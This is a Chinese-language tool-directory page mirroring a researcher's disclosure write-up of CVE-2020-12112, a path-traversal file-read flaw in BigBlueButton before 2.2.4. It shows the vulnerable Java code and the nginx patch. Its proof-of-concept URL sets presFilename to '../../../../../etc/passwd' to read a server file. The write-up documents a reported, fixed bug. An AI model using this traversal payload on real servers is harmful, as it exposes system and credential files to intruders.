Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2020-12112 — 低于2.2.4版本的BigBlueButton存在一个LFI漏洞,可允许访问敏感文件。🚨 | Kitploit
工具/GitHubGitHub/tchenu/cve-2020-12112
漏洞分析漏洞利用Web应用程序漏洞利用信息收集渗透测试
GitHubtchenu/cve-2020-12112

CVE-2020-12112

低于2.2.4版本的BigBlueButton存在一个LFI漏洞,可允许访问敏感文件。🚨

查看仓库
143个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2020-12112 🚨

BigBlueButton 版本低于 2.2.4 存在 LFI 漏洞,允许访问敏感文件。

故事 📜

在一次使用 BigBlueButton 进行的远程学习课程中,我班上的一名学生分享了我老师的幻灯片演示链接,我注意到文件名包含在 URL 中。

学校的 Slack

root@kitploit:~
学生:“不用记笔记了,我已经拿到幻灯片了。”
我:“好吧,那我得写一份安全报告了。” 😂

稍微摆弄一下,我就能获取到服务器的 /etc/passwd 文件,并发现开源解决方案 Big Blue Button 存在一个安全漏洞。

我报告了该漏洞,BBB 团队迅速回应并在短短几天内修复了它。

PoC 🧙

root@kitploit:~
public File getDownloadablePresentationFile(String meetingId, String presId, String presFilename) {
	log.info("Find downloadable presentation for meetingId={} presId={} filename={}", meetingId, presId, presFilename);

    File presDir = Util.getPresentationDir(presentationBaseDir, meetingId, presId);
    return new File(presDir.getAbsolutePath() + File.separatorChar + presFilename);
}

https://github.com/bigbluebutton/bigbluebutton/blob/v2.2.3/bbb-common-web/src/main/java/org/bigbluebutton/api/RecordingService.java#L90

如你所见,这个方法被 PresentationController 使用,通过拼接 3 个参数来下载演示文件:

  • 文件的绝对路径
  • 分隔符
  • 文件名

这使得可以构造出如下链接:

https://test.bigbluebutton.org/bigbluebutton/presentation/download/ffc98830dbfbac3dcc80cc4c5f30711ebd1c23e8-1586764259489/d2d9a672040fbde2a47a10bf6c37b6a4b5ae187f-1586764259500?presFilename=d2d9a672040fbde2a47a10bf6c37b6a4b5ae187f-1586764259500.pdf

要利用该漏洞,只需获取一个有效的演示文件链接,然后修改 presFilename 参数以访问敏感文件。

https://test.bigbluebutton.org/bigbluebutton/presentation/download/ffc98830dbfbac3dcc80cc4c5f30711ebd1c23e8-1586764259489/d2d9a672040fbde2a47a10bf6c37b6a4b5ae187f-1586764259500?presFilename=../../../../../etc/passwd

/etc/passwd 文件

补丁 🤕

BBB 团队在 2.2.4 版本中通过服务器配置规则(HTTP)、正则表达式和精确的文件名格式修复了该漏洞。

root@kitploit:~
		location /bigbluebutton/presentation/download {
			return 404;
		}

		location ~ "^/bigbluebutton/presentation/download\/[0-9a-f]+-[0-9]+/[0-9a-f]+-[0-9]+$" {
			if ($arg_presFilename !~ "^[0-9a-f]+-[0-9]+\.[0-9a-zA-Z]+$") {
				return 404;
			}
			proxy_pass         http://127.0.0.1:8090$uri$is_args$args;
			proxy_set_header   X-Forwarded-For   $proxy_add_x_forwarded_for;
			# 解决 IE 在 iframe 中拒绝设置 cookie 的问题
			add_header P3P 'CP="No P3P policy available"';
		}

https://github.com/bigbluebutton/bigbluebutton/commit/5ebdf5ca7718fc8bb3c08867edd150278e6a724c#diff-c7d77969a4547b5349e55c5466948a27R45

参考 🔍

  • https://nvd.nist.gov/vuln/detail/CVE-2020-12112
  • https://github.com/bigbluebutton/bigbluebutton/blob/master/bigbluebutton-web/grails-app/controllers/org/bigbluebutton/web/controllers/PresentationController.groovy
  • https://github.com/bigbluebutton/bigbluebutton/commit/5ebdf5ca7718fc8bb3c08867edd150278e6a724c
  • https://twitter.com/thibeault_chenu/status/1249976515917422593
  • https://twitter.com/bigbluebutton/status/1252706369486180353
下载工具